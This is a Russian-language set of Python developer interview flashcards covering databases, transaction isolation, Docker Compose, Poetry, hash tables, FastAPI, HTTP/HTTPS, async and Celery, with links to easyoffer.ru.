Python 100-199 Flashcards

1
Q

Что ожидаешь от будущей работы

6%

A

https://youtu.be/o9EWhFiyE8E?t=842
https://youtu.be/qPdXqwnCbpQ?t=587

https://easyoffer.ru/question/610

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
2
Q

Что знаешь о принципах программирования KISS

6%

A

KISS (Keep It Simple, Stupid) - это принцип проектирования ПО, который призывает к тому, чтобы решения были максимально простыми и непритязательными. Имеет следующие ключевые аспекты:

  1. Простота и ясность: ПО должно быть простым и понятным для понимания, как для его создателей, так и для пользователей. Простота снижает сложность, упрощает разработку и обслуживание кода.
  2. Отказ от избыточности: Избегайте излишних деталей и сложных конструкций в коде. Пишите только тот код, который необходим для решения задачи.
  3. Работоспособность и надежность: Простота не должна жертвовать работоспособностью и надежностью программы. ПО должно продолжать работать правильно и стабильно при любых условиях.
  4. Легкость сопровождения и расширения: ПО должно быть легко поддерживаемым и расширяемым. Простой код легче изменить, доработать и адаптировать под новые требования.

Принцип KISS подчеркивает важность обеспечения минимального количества сложности в ПО, что способствует повышению его читаемости, надежности и производительности. Он учитывает тот факт, что чем проще решение, тем менее вероятно наличие ошибок и проблем в будущем.

https://easyoffer.ru/question/494

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
3
Q

Назови четыре уровня изоляции транзакций

6%

A

В стандарте ANSI/ISO SQL определены четыре уровня изоляции транзакций:

  1. READ UNCOMMITTED (Неподтвержденное чтение):

Это самый низкий уровень изоляции.
Позволяет одной транзакции видеть изменения, внесенные другой, даже если эти изменения еще не зафиксированы (т.е., транзакция еще не завершена).
Возможно возникновение проблем с неподтвержденным чтением и потерянными обновлениями.

  1. READ COMMITTED (Подтвержденное чтение):

Этот уровень гарантирует, что транзакция увидит только изменения, которые были подтверждены другими.
Избегает проблем с неподтвержденным чтением, но может возникнуть проблема с повторяемым чтением.

  1. REPEATABLE READ (Повторяемое чтение):

Гарантирует, что каждый раз, когда транзакция читает данные, она видит те же самые данные, что и в начале, даже если другая вносит изменения в эти данные.
Избегает проблемы с повторяемым чтением, но может привести к проблемам с фантомными записями (phantom reads).

  1. SERIALIZABLE (Сериализуемость):

Это самый высокий уровень изоляции.
Гарантирует, что все операции чтения и записи будут видеть состояние данных, как если бы они выполнялись последовательно (одна за другой), даже если фактически они выполняются параллельно.
Избегает проблем с повторяемым чтением и фантомными записями, но может привести к увеличению блокировок и ухудшению производительности.
Выбор уровня изоляции зависит от конкретных требований вашего приложения к согласованности данных и производительности.

https://easyoffer.ru/question/318

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
4
Q

Какие минусы есть у индекса

6%

A

Индексы в базах данных - это мощный инструмент для оптимизации запросов и ускорения доступа к данным, но они также имеют некоторые минусы:

  1. Затраты на хранение: Они занимают дополнительное место на диске для хранения дополнительной структуры данных. Это может быть значительным фактором для больших таблиц с множеством индексов.
  2. Затраты на обновление: При вставке, обновлении или удалении записей из таблицы они также должны быть обновлены, чтобы отразить изменения. Это может привести к дополнительным затратам на обслуживание индексов и замедлить операции записи.
  3. Ухудшение производительности при обновлении: Их обновление может потребовать блокировки и увеличить время выполнения операций обновления, особенно для таблиц с большим количеством индексов.
  4. Выбор неоптимальных индексов: Неправильно выбранные или ненужные индексы могут привести к избыточному использованию ресурсов и ухудшению производительности запросов.
  5. Фрагментация индексов: Постоянные операции вставки, обновления и удаления могут привести к их фрагментации, что может уменьшить их эффективность.
  6. Необходимость перестройки: Иногда они требуют перестройки для оптимизации их производительности, особенно если таблица значительно изменилась или индекс стал фрагментированным.

Несмотря на эти минусы, правильно спроектированные и использованные индексы могут значительно улучшить производительность запросов к базе данных. Поэтому важно тщательно оценивать их необходимость и выбирать наиболее подходящие для конкретных запросов и таблиц.

https://easyoffer.ru/question/317

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
5
Q

Какие есть уровни изоляции транзакций

6%

A

Изоляция в смысле ACID означает, что конкурентно выполняемые транзакции изолированы друг от друга — они не могут помешать друг другу. Классические учебники по базам данных понимают под изоляцией сериализуемость (serializability). То есть каждая транзакция выполняется так, будто она единственная во всей базе. БД гарантирует, что результат фиксации транзакций такой же, как если бы они выполнялись последовательно (serially, одна за другой), хотя в реальности они могут выполняться конкурентно.

Чтение зафиксированных данных (read comitted):

Самый базовый уровень изоляции транзакций — чтение зафиксированных данных. Он обеспечивает две гарантии:

При чтении из БД клиент видит только зафиксированные данные (никаких «грязных» операций чтения).
При записи в БД можно перезаписывать только зафиксированные данные (никаких «грязных» операций записи).
«Грязные» операции чтения. Клиент читает записанные другим клиентом данные до их фиксации. Уровень изоляции чтения зафиксированных данных и более сильные предотвращают «грязные» операции чтения.

«Грязные» операции записи. Клиент перезаписывает данные, которые другой клиент записал, но еще не зафиксировал. Практически все реализации транзакций предотвращают «грязные» операции записи.

Изоляция снимков состояния и воспроизводимое чтение:

Ее идея состоит в том, что каждая из транзакций читает данные из согласованного снимка состояния БД, то есть видит данные, которые были зафиксированы в базе на момент ее (транзакции) начала. Даже если данные затем были изменены другой транзакцией, каждая транзакция видит только старые данные, по состоянию на конкретный момент времени. Позволяет предотвратить асимметрии чтения.

Асимметрия чтения (невоспроизводимое чтение). Клиент видит различные части базы данных по состоянию на разные моменты времени. Чаще всего такую проблему предотвращают с помощью изоляции снимков состояния, при которой транзакция читает данные из согласованного снимка состояния, соответствующего определенному моменту времени. Обычно это реализуется благодаря многоверсионному управлению конкурентным доступом (MVCC).

Сериализуемость (serializability):

Обычно считается самым сильным уровнем изоляции. Она гарантирует, что даже при конкурентном выполнении транзакций результат останется таким же, как и в случае их последовательного (по одной за раз) выполнения, без всякой конкурентности. Следовательно, база данных гарантирует, что правильно выполняющиеся последовательно транзакции будут столь же правильно выполняться конкурентно. Другими словами, база предотвращает все возможные состояния гонки.

Большинство современных БД, обеспечивающих сериализуемость, применяют один из трех методов:

По-настоящему последовательное выполнение транзакций. Если вы можете сделать отдельные транзакции очень быстрыми, причем количество транзакций, обрабатываемых за единицу времени на одном ядре CPU, достаточно невелико, то для обработки этот вариант окажется простым и эффективным.
Двухфазная блокировка. На протяжении десятилетий она была стандартным способом обеспечения сериализуемости, но многие приложения стараются ее не использовать из-за плохих показателей производительности.
Сериализуемая изоляция снимков состояния (SSI). Довольно свежий алгоритм, лишенный практически всех недостатков предыдущих подходов. В нем используется оптимистический подход, благодаря чему транзакции выполняются без блокировок. Перед фиксацией транзакции выполняется проверка, и если выполнение было несериализуемым, то транзакция прерывается без фиксации.

https://easyoffer.ru/question/316

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
6
Q

Что такое шардирование

6%

A

Шардирование (sharding) - это метод горизонтального масштабирования, который позволяет распределить данные по нескольким серверам или узлам (шардам). Этот метод используется для улучшения производительности и масштабируемости баз данных, особенно в случае больших объемов данных или высокой нагрузки.

Как правило, при шардировании данные разбиваются на несколько фрагментов (шардов), и каждый шард хранится на отдельном сервере или узле. Разделение происходит по определенному критерию, например, по значению ключа или хеш-функции. Это позволяет равномерно распределить данные и запросы между различными узлами, уменьшить нагрузку на них и повысить общую производительность системы.

Преимущества:

  1. Масштабируемость: Этот метод позволяет распределить данные по нескольким серверам, что увеличивает общую производительность и способность обрабатывать большие объемы данных.
  2. Устойчивость к отказам: Распределение данных между несколькими узлами делает систему более устойчивой к отказам, так как отказ одного узла не приводит к полной недоступности данных.
  3. Балансировка нагрузки: Равномерное распределение данных между шардами позволяет более эффективно распределять нагрузку между серверами и узлами.
  4. Гибкость: Позволяет настроить базу данных под конкретные требования производительности и нагрузки, выбрав оптимальное количество и конфигурацию шардов.

Однако шардирование также имеет свои недостатки, такие как сложность настройки и управления, потенциальные проблемы с консистентностью данных и сложность выполнения запросов, которые требуют доступа к данным, хранящимся на нескольких шардах. Поэтому необходимо внимательно оценить преимущества и недостатки перед внедрением шардирования в систему.

https://easyoffer.ru/question/315

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
7
Q

В чем разница между Posgres и MySQL

6%

A

PostgreSQL и MySQL - это две реляционные базы данных, предоставляющие функциональность SQL и используются в различных приложениях и проектах. Вот основные различия:

  1. Лицензия:
  • PostgreSQL распространяется под лицензией, которая является свободной и открытой.
  • MySQL распространяется под двумя лицензиями: GNU GPL и коммерческой.
  1. Реализация стандартов SQL:
  • PostgreSQL стремится к полной совместимости со стандартами SQL и реализует широкий спектр ее функций, включая более сложные аналитические и поддержку оконных функций.
  • MySQL свободно интерпретирует стандарты SQL и может не поддерживать некоторые более продвинутые возможности, предоставляемые PostgreSQL.
  1. Синтаксис и функциональность:
  • PostgreSQL обычно считается более мощным и гибким в плане возможностей и функциональности. Он предоставляет богатый набор типов данных, поддержку транзакций, горизонтальное масштабирование и другие продвинутые функции.
  • MySQL, с другой стороны, часто используется для более простых задач и может быть более прямым в использовании. Он имеет более ограниченный набор типов данных и функциональность, но при этом может быть проще в настройке и использовании.
  1. Производительность:
  • Обе базы данных обеспечивают хорошую производительность для большинства типичных приложений. Однако для конкретных сценариев использования и типов запросов производительность может различаться.
  • В целом, MySQL может проявлять себя лучше в некоторых случаях, особенно при использовании кэширования и оптимизаций для конкретных запросов.
  1. Расширяемость и экосистема:
  • PostgreSQL имеет богатую экосистему инструментов и расширений, которые могут быть использованы для улучшения и расширения его функциональности.
  • MySQL также имеет широкую поддержку и большое сообщество пользователей, но его экосистема может быть не такой обширной.

Обе базы данных имеют свои сильные и слабые стороны, и выбор между ними зависит от конкретных требований и характеристик вашего приложения.

https://easyoffer.ru/question/314

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
8
Q

Что знаешь про нормализацию

6%

A

Нормализация - это процесс организации данных с целью уменьшения избыточности и обеспечения целостности данных. Процесс включает в себя разделение данных на отдельные таблицы и установление связей между этими таблицами. Основные принципы нормализации определены в нормальных формах.

Вот основные принципы:

  1. Первая нормальная форма (1NF):
  • Все атрибуты в таблице должны быть атомарными, то есть каждый атрибут должен содержать только одно значение.
  • Все повторяющиеся группы атрибутов должны быть удалены.
  1. Вторая нормальная форма (2NF):
  • Таблица должна находиться в 1NF.
  • Каждый нетривиальный атрибут должен быть полностью функционально зависим от первичного ключа, то есть отсутствие частичной функциональной зависимости.
  1. Третья нормальная форма (3NF):
  • Таблица должна находиться в 2NF.
  • Нет зависимостей на основе неключевых атрибутов, то есть отсутствие транзитивных зависимостей.
  1. Нормальная форма Бойса-Кодда (BCNF):
  • Расширение третьей нормальной формы, в котором дополнительное требование состоит в том, чтобы каждое нетривиальное функциональное зависимость A → B, где B не является ключом, было зависимым только от кандидат-ключа.
  1. Четвертая нормальная форма (4NF):
  • После разделения данных в 3NF, не должно быть многозначных зависимостей относительно многозначных зависимостей.
  1. Пятая нормальная форма (5NF):
  • Основная цель - минимизировать избыточные связи между таблицами путем удаления зависимостей и разделения данных.

Применение нормализации в базе данных позволяет уменьшить дублирование данных, уменьшить объем хранимой информации, обеспечить более простой доступ к данным и повысить целостность данных. Однако следует помнить, что избыточная нормализация может привести к увеличению сложности запросов и ухудшению производительности. Поэтому необходимо находить баланс между нормализацией и производительностью системы.

https://easyoffer.ru/question/313

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
9
Q

Что такое Docker Compose

6%

A

Docker Compose - это инструмент для определения и запуска многоконтейнерных приложений с помощью простого файла конфигурации YAML. Он позволяет вам определить конфигурацию вашего приложения в виде сервисов, каждый из которых может быть запущен в отдельном контейнере, и объединить эти сервисы в единое приложение.

Основные функции:

  1. Определение сервисов: Вы можете определить несколько сервисов, которые составляют ваше приложение, в файле docker-compose.yml. Каждый сервис может быть описан с использованием различных параметров, таких как образ, сетевые настройки, переменные окружения и другие параметры конфигурации.
  2. Запуск и управление приложением: Он позволяет запускать и управлять многоконтейнерными приложениями одной командой. Вы можете использовать команды типа docker-compose up для запуска приложения на основе конфигурации из файла docker-compose.yml.
  3. Сетевая конфигурация: Автоматически настраивает сеть между контейнерами, позволяя им взаимодействовать друг с другом через сеть. Вы также можете определить пользовательские сети и связи между сервисами в файле конфигурации.
  4. Переопределение параметров: Вы можете переопределить параметры конфигурации сервисов из командной строки при запуске приложения, что позволяет настраивать поведение приложения для различных сред или конфигураций.
  5. Управление жизненным циклом контейнеров: Обеспечивает простой способ управления жизненным циклом контейнеров, включая их запуск, остановку, перезапуск и удаление.

Docker Compose упрощает развертывание и управление многоконтейнерными приложениями, делая процесс разработки и тестирования более эффективным и удобным.

https://easyoffer.ru/question/52

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
10
Q

Что дает poetry

6%

A

Poetry - это инструмент для управления зависимостями и пакетами в проектах. Он предоставляет удобный способ управления зависимостями, виртуальными окружениями, сборкой и публикацией пакетов. Вот несколько основных возможностей:

  1. Управление зависимостями: Этот инструмент использует файл pyproject.toml для определения зависимостей проекта. Этот файл содержит информацию о зависимостях вашего проекта, включая название пакета, версию и другие метаданные. Он позволяет легко добавлять, удалять и обновлять зависимости с помощью команды poetry add.
  2. Виртуальные окружения: Автоматически создает виртуальное окружение для вашего проекта и управляет зависимостями внутри этого окружения. Это позволяет изолировать зависимости проекта от других проектов и предотвращает конфликты версий пакетов.
  3. Управление проектом: Предоставляет удобные команды для управления проектом, такие как создание нового проекта, установка зависимостей, управление сценариями (scripts) и т.д.
  4. Сборка и публикация пакетов: С помощью этого инструмента вы можете легко собирать и публиковать свои пакеты на PyPI. Он автоматически создает файлы METADATA и setup.py для вашего пакета и предоставляет удобные команды для сборки и публикации.
  5. Консистентность и предсказуемость: Стремится обеспечить консистентность и предсказуемость в управлении зависимостями и средой выполнения проекта. Он использует блокировку версий для фиксации версий зависимостей и гарантирует, что проект будет воспроизводимым на разных системах.

В целом, Poetry предоставляет удобный и современный способ управления зависимостями и проектами, что делает процесс разработки более эффективным и удобным.

https://easyoffer.ru/question/54

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
11
Q

Что такое виртуальное окружение

6%

A

Виртуальное окружение (virtual environment) - это изолированная среда, в которой устанавливаются зависимости и библиотеки для конкретного проекта, отделенная от системной установки. Эта среда позволяет изолировать проекты друг от друга и от системы, а также управлять зависимостями внутри каждого проекта без вмешательства в системные установки.

Преимущества использования:

  1. Изоляция зависимостей: Это позволяет устанавливать и использовать определенные версии библиотек и зависимостей для каждого проекта, без влияния на другие проекты или системные установки. Позволяет избежать конфликтов между версиями библиотек и обеспечивает надежность и воспроизводимость проекта.
  2. Управление зависимостями: Позволяет устанавливать, обновлять и удалять зависимости для конкретного проекта независимо от других проектов. Это делает управление зависимостями более гибким и удобным.
  3. Изоляция проекта: Использование виртуальных окружений позволяет легко переносить проекты между различными системами или средами разработки, так как все зависимости и настройки окружения хранятся локально внутри проекта.
  4. Безопасность и стабильность: Изоляция проекта от системных установок помогает избежать возможных проблем совместимости или несовместимости зависимостей и обеспечивает стабильность и надежность работы проекта.

Для создания и использования виртуального окружения часто используются инструменты, такие как virtualenv, venv или сторонние инструменты управления зависимостями, такие как Pipenv или Poetry.

https://easyoffer.ru/question/60

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
12
Q

Какие инструменты для виртуального окружения используются

6%

A

Для создания и управления виртуальными окружениями существует несколько инструментов. Вот некоторые из наиболее распространенных:

  1. virtualenv: Это один из самых популярных инструментов для создания виртуальных окружений. Он позволяет создавать изолированные среды, в которых можно устанавливать и использовать зависимости для конкретных проектов.
  2. venv: Это встроенный инструмент для создания виртуальных окружений, доступный начиная с Python 3.3. Он предоставляет функциональность, аналогичную virtualenv, но является частью стандартной библиотеки.
  3. Pipenv: Это инструмент для управления зависимостями и виртуальными окружениями. Он комбинирует возможности управления зависимостями с помощью pip и создания виртуальных окружений с помощью virtualenv или venv. Pipenv также автоматически создает и активирует виртуальное окружение для каждого проекта.
  4. Poetry: Это современный инструмент для управления зависимостями и виртуальными окружениями. Он предоставляет возможности для управления зависимостями, создания виртуальных окружений, управления сценариями (scripts) и публикации пакетов. Poetry использует файл pyproject.toml для определения зависимостей и настроек проекта.

Эти инструменты предоставляют удобные способы создания и управления виртуальными окружениями, что помогает изолировать зависимости проектов и обеспечить надежность и воспроизводимость работы приложений. Выбор конкретного инструмента зависит от ваших предпочтений и требований проекта.

https://easyoffer.ru/question/61

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
13
Q

Как работает хеш таблица

6%

A

Хеш-таблица (hash table) - это структура данных, которая использует хэш-функцию для быстрого поиска, вставки и удаления элементов. В основе ее работы лежит идея преобразования ключей элементов в числовые значения (хэши), которые затем используются для определения местоположения элементов в таблице.

Вот основные шаги работы:

  1. Хэширование ключей: Каждый ключ элемента преобразуется в числовое значение с помощью хэш-функции. Она берет ключ и преобразует его в индекс (хэш), который указывает на ячейку или слот в массиве.
  2. Разрешение коллизий: Поскольку разные ключи могут быть преобразованы в один и тот же хэш (коллизия), необходимо иметь механизм разрешения коллизий. Существуют различные методы разрешения коллизий, такие как метод цепочек (chaining) и метод открытой адресации (open addressing).
  • Метод цепочек: В этом методе каждая ячейка представляет собой связный список элементов с одним и тем же хэшем. При коллизии элемент добавляется в соответствующий список.
  • Метод открытой адресации: В нем, если возникает коллизия, ищется следующая свободная ячейка в таблице (обычно с помощью другой хэш-функции или последовательного поиска), где элемент может быть помещен.
  1. Доступ к элементам: Для доступа к элементу нужно выполнить следующее:
  • Применить хэш-функцию к ключу, чтобы определить индекс в таблице.
  • В ячейке таблицы есть элемент(ы), сравнить ключ(и) с искомым.
  • Ключ совпадает, элемент найден.
  • Ключ не совпадает, применить метод разрешения коллизий для поиска элемента.
  1. Вставка и удаление элементов: Процесс вставки и удаления элементов аналогичен процессу доступа к элементам. Сначала вычисляется хэш ключа, затем используется метод разрешения коллизий для вставки или удаления элемента.

Хеш-таблицы обеспечивают быстрый доступ к элементам в среднем случае за время O(1), что делает их эффективным инструментом для реализации ассоциативных массивов, множеств и других структур данных, требующих эффективного поиска, вставки и удаления элементов.

https://easyoffer.ru/question/187

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
14
Q

Чем хорош FastAPI

6%

A

FastAPI - это фреймворк для создания веб-приложений, который обеспечивает высокую производительность, интуитивно понятный синтаксис и автоматическую генерацию документации API. Вот несколько причин, почему он является хорошим выбором:

  1. Высокая производительность: Основан на Starlette, асинхронном фреймворке для веб-приложений, и использует асинхронные возможности Python 3.7+ для обеспечения высокой производительности. Это позволяет обрабатывать большое количество запросов одновременно и эффективно использовать ресурсы сервера.
  2. Декларативный синтаксис: Предоставляет декларативный синтаксис для определения маршрутов и схем данных с использованием аннотаций. Это делает код более читаемым и понятным, а также упрощает разработку и поддержку приложения.
  3. Автоматическая генерация документации: Автоматически создает интерактивную документацию API на основе аннотаций и типов данных. Это позволяет разработчикам быстро создавать и документировать API без дополнительного кодирования.
  4. Встроенная поддержка асинхронности: Полностью поддерживает асинхронные операции и обработку запросов, что позволяет создавать высокопроизводительные веб-приложения, используя асинхронные возможности.
  5. Встроенная валидация данных: Автоматически выполняет валидацию входных данных на основе аннотаций и схем данных Pydantic. Это позволяет обрабатывать ошибки и неправильные запросы до того, как они достигнут обработчика маршрута, что обеспечивает более надежное и безопасное приложение.
  6. Интеграция с OpenAPI и Swagger UI: Генерирует спецификацию OpenAPI для вашего API автоматически, что позволяет использовать сторонние инструменты и сервисы для автоматической генерации клиентских библиотек и тестирования. Он также включает встроенную поддержку Swagger UI для просмотра и тестирования API через веб-интерфейс.

В целом, FastAPI предоставляет простой и эффективный способ создания высокопроизводительных веб-приложений с автоматической генерацией документации API и встроенной поддержкой асинхронности.

https://easyoffer.ru/question/579

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
15
Q

Что знаешь о хеш функции

6%

A

Хэш-функция (hash function) - принимает входные данные (например, строку или байтовую последовательность) и преобразует их в фиксированный размерный хэш (хэш-значение), которое обычно представляет собой строку фиксированной длины. Основная цель состоит в том, чтобы быстро и эффективно преобразовывать входные данные в хэш-значения, которые можно использовать для различных целей, таких как проверка целостности данных, поиск и сравнение элементов, хранение паролей и т. д.

Вот несколько ключевых особенностей:

  1. Единообразие (Uniformity): Должна обеспечивать равномерное распределение хэш-значений по всем возможным входным данным. Это означает, что каждое возможное хэш-значение должно иметь одинаковую вероятность быть сгенерированным для любых входных данных.
  2. Однозначность (Deterministic): Для одних и тех же входных данных эта функция всегда должна генерировать одно и то же хэш-значение. Это позволяет использовать ее для проверки целостности данных и сравнения элементов.
  3. Быстродействие (Efficiency): Должна быть эффективной и быстрой, чтобы обеспечить высокую производительность при обработке больших объемов данных.
  4. Равномерное распределение (Uniform distribution): Должна равномерно распределять хэш-значения по всем возможным выходным диапазонам. Это помогает снизить вероятность коллизий.
  5. Необратимость (Irreversibility): Должна быть необратимой, то есть невозможно восстановить исходные данные из хэш-значения. Это обеспечивает безопасность данных, так как злоумышленники не могут получить доступ к исходным данным, имея только хэш-значение.

Примеры широко используемых хэш-функций включают SHA-1, SHA-256, MD5 и другие. В зависимости от конкретных требований и применений, выбирается подходящая хэш-функция.

https://easyoffer.ru/question/186

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
16
Q

Что такое HTTP и HTTPs

6%

A

HTTP - протокол передачи данных, который используется для обмена информацией. Он определяет формат и структуру сообщений, и правила взаимодействия между клиентом и сервером. Является основным протоколом для передачи веб-страниц, изображений, и других ресурсов.

Основные характеристики:

  1. Простота: Использует структуру запросов и ответов, состоящую из заголовков и тела сообщения. Это делает его легким в использовании.
  2. Состояние: Является протоколом без состояния, что означает, что каждый запрос обрабатывается независимо от предыдущих запросов. Сервер не хранит информацию о состоянии клиента между запросами.
  3. Безопасность: Не обеспечивает шифрование данных, передаваемых между клиентом и сервером, что делает передачу не безопасной.

HTTPS - защищенная версия протокола HTTP, которая обеспечивает шифрование данных и безопасную передачу информации между клиентом и сервером. HTTPS использует протокол TLS или его предшественника SSL для шифрования данных и проверки подлинности сервера.

Основные характеристики:

  1. Шифрование данных: Использует шифрование для защиты данных, передаваемых между клиентом и сервером. Это обеспечивает конфиденциальность и целостность данных во время их передачи по сети.
  2. Аутентификация сервера: Обеспечивает аутентификацию сервера, что позволяет клиенту убедиться в том, что он связывается с правильным сервером и предотвращает атаки типа “перехват и подмена”.
  3. Доверие и сертификаты: Использует цифровые сертификаты для аутентификации серверов и создания доверия между клиентом и сервером. Сертификаты выдаются доверенными ЦС, которые проверяют подлинность серверов и подтверждают их легитимность.

Использование HTTPS рекомендуется для всех веб-сайтов и веб-приложений, особенно для тех, которые обрабатывают конфиденциальные данные пользователей, такие как пароли, данные кредитных карт и личная информация. HTTPS обеспечивает безопасную и защищенную передачу данных, защищая пользователей от различных видов атак и вмешательства.

https://easyoffer.ru/question/691

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
17
Q

Как распределяешь свое рабочее время

6%

A

https://youtu.be/oB_COeDpNas?t=421
https://youtu.be/SJxgQFKp2qc?t=442

https://easyoffer.ru/question/492

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
18
Q

Что такое async

6%

A

“async” - используется для определения асинхронных функций и контекста выполнения. Оно связано с асинхронным программированием, которое позволяет эффективно использовать асинхронные операции ввода-вывода (I/O), такие как сетевые запросы, базы данных и другие блокирующие операции, без блокировки основного потока выполнения.

Основные концепции:

  1. Асинхронные функции (async functions): Функции определяются с помощью ключевого слова “async”. Они могут содержать асинхронные операции и выражения, которые могут быть приостановлены и продолжены позже, когда завершится операция ввода-вывода. Для объявления этой функции используется синтаксис:
   async def my_async_function():
       # Асинхронные операции
  1. Контекст выполнения асинхронного кода (async context): Код выполняется в асинхронном контексте, который создается с помощью ключевого слова “asyncio”. Контекст выполнения обеспечивает механизм управления выполнением асинхронного кода и планирования операций. Для входа в этот контекст используется синтаксис:
   import asyncio

   async def main():
       # Асинхронный код

   asyncio.run(main())
  1. Ожидание асинхронных операций (await): В этих функциях можно использовать ключевое слово “await” для ожидания завершения асинхронных операций ввода-вывода. Оператор “await” блокирует выполнение данной функции до тех пор, пока эта операция не будет завершена. Например:
   async def fetch_data(url):
       # Ожидание завершения сетевого запроса
       response = await aiohttp.get(url)
       return response

Асинхронное программирование позволяет эффективно использовать ресурсы процессора и управлять множеством асинхронных операций ввода-вывода без блокировки основного потока выполнения. Это особенно полезно в веб-приложениях и сервисах, которые часто выполняют большое количество асинхронных операций, таких как сетевые запросы и базы данных.

https://easyoffer.ru/question/231

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
19
Q

Для чего можно использовать celery

6%

A

Celery - это очередь задач (task queue), которая позволяет выполнять задачи асинхронно и распределять их между различными рабочими процессами или узлами. Она обычно используется для выполнения долгих и трудоемких операций в фоновом режиме, таких как обработка задач веб-приложений, отправка электронных писем, генерация отчетов, обработка изображений, а также многие другие.

Вот некоторые типичные сценарии использования Celery:

  1. Обработка задач в фоновом режиме: Позволяет обрабатывать задачи в фоновом режиме, что позволяет вашему веб-приложению быстро возвращать ответ пользователю, не ожидая завершения выполнения задачи. Это особенно полезно для выполнения операций, которые могут занимать длительное время, таких как обработка данных или генерация отчетов.
  2. Отправка электронных писем: Может использоваться для отправки электронных писем асинхронно. Это позволяет вашему приложению отправлять уведомления и письма пользователям без блокировки основного потока выполнения.
  3. Обработка изображений: Может использоваться для обработки изображений асинхронно. Например, вы можете использовать его для изменения размера изображений, преобразования форматов или применения фильтров без задержки ответа вашего приложения.
  4. Периодические задачи: Поддерживает периодические задачи, которые могут выполняться автоматически по расписанию. Это позволяет вам запускать задачи на основе времени, что особенно полезно для выполнения регулярных обновлений и обслуживания.
  5. Распределенные вычисления: Позволяет распределенно выполнять задачи на различных узлах или рабочих процессах, что позволяет обрабатывать большие объемы данных и операций параллельно.

Celery предоставляет гибкую и мощную инфраструктуру для асинхронного выполнения задач, что делает его полезным инструментом для множества приложений и сценариев использования.

https://easyoffer.ru/question/232

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
20
Q

В чём суть проекта Celery

6%

A

Проект Celery представляет собой распределенную систему для выполнения асинхронных задач. Он позволяет создавать, планировать и выполнять задачи параллельно на нескольких рабочих узлах или процессах, что обеспечивает масштабируемость и эффективное использование ресурсов.

Основные компоненты проекта Celery:

  1. Брокер сообщений (Message Broker): Использует брокер сообщений для передачи задач между клиентскими приложениями и рабочими процессами. Популярными брокерами сообщений для Celery являются RabbitMQ, Redis и Apache Kafka.
  2. Очередь задач (Task Queue): Очередь задач является центральной частью Celery и отвечает за прием, хранение и распределение задач между рабочими процессами. Очередь задач позволяет эффективно управлять и планировать выполнение задач в асинхронной среде.
  3. Рабочий процесс (Worker): Рабочий процесс - это процесс или узел, который выполняет асинхронные задачи, полученные из очереди задач. Клиентское приложение отправляет задачи в очередь, а затем рабочие процессы забирают и выполняют эти задачи в фоновом режиме.
  4. Задача (Task): Задача представляет собой функцию или метод, которая должна быть выполнена асинхронно. Она может быть определена с использованием декоратора @task и добавлена в очередь задач для выполнения.
  5. Результат (Result): Позволяет получать результат выполнения задачи после ее завершения. Результат может быть получен немедленно или асинхронно, в зависимости от настроек и требований приложения.

Проект Celery обеспечивает гибкую и масштабируемую инфраструктуру для выполнения асинхронных задач. Он широко используется для обработки фоновых задач в веб-приложениях, обработки данных, отправки электронных писем, создания расписаний и многих других сценариев использования, где требуется асинхронная обработка и выполнение задач.

https://easyoffer.ru/question/233

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
21
Q

Что тебе известно о бинарном дереве

6%

A

Бинарное дерево - это структура данных, состоящая из узлов, каждый из которых имеет не более двух потомков: левого и правого. Каждый узел содержит некоторое значение (ключ) и ссылки на его левого и правого потомков (или на None, если потомок отсутствует).

Основные характеристики бинарного дерева:

  1. Корень (Root): Это верхний узел дерева, от которого начинается структура.
  2. Уровень (Level): Каждый узел дерева расположен на определенном уровне. Уровень корня равен 0, уровень его детей равен 1 и так далее.
  3. Листья (Leaves): Это узлы дерева, у которых отсутствуют потомки. То есть они конечные в дереве.
  4. Высота (Height): Это количество уровней в дереве. Максимальная высота бинарного дерева равна максимальному количеству уровней от корня до самого далекого листа.
  5. Балансировка (Balanced): Бинарное дерево называется сбалансированным, если разница в высоте между левым и правым поддеревьями на каждом узле не превышает 1. Такие деревья обеспечивают эффективный поиск, вставку и удаление элементов.
  6. Порядок (Traversal): Существуют различные способы обхода бинарного дерева для выполнения операций с его элементами. Эти методы включают в себя префиксный (pre-order), инфиксный (in-order) и постфиксный (post-order) обходы.
  7. Операции: Бинарное дерево обычно поддерживает операции вставки, удаления и поиска элементов. Эти операции выполняются за время O(log n) в сбалансированных деревьях и до O(n) в худшем случае в несбалансированных.

Бинарные деревья широко применяются в компьютерных науках для построения эффективных структур данных, таких как двоичные поисковые деревья, кучи и многие другие. Они позволяют эффективно хранить, обрабатывать и извлекать данные, делая их незаменимым инструментом в различных алгоритмах и приложениях.

https://easyoffer.ru/question/181

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
22
Q

Для чего подходят асинхронные операции

6%

A
  • Чтобы сэкономить время
  • Чтобы ускорить работу программы
  • Чтобы программа не зависала ожидая вычислений со стороны, а продолжала работу
  • Чтобы непрерывно выполнять большое количество заданий

Асинхронные операции подходят для решения задач, которые включают в себя блокирующие операции ввода-вывода (I/O-bound operations), то есть операции, которые требуют времени на ожидание ответа от внешних источников данных, таких как сетевые запросы, операции с базой данных, чтение и запись файлов и т. д.

Преимущества использования асинхронных операций:

  1. Улучшение производительности: Позволяют эффективно использовать ресурсы процессора, так как они не блокируют основной поток выполнения в ожидании завершения операции I/O. Вместо этого, когда операция завершается, управление передается другим операциям, что позволяет увеличить производительность приложения.
  2. Масштабируемость: Обеспечивают лучшую масштабируемость приложений, особенно в случае большого количества одновременных запросов. При использовании сетевых приложений, например, они позволяют обрабатывать тысячи или даже миллионы одновременных подключений.
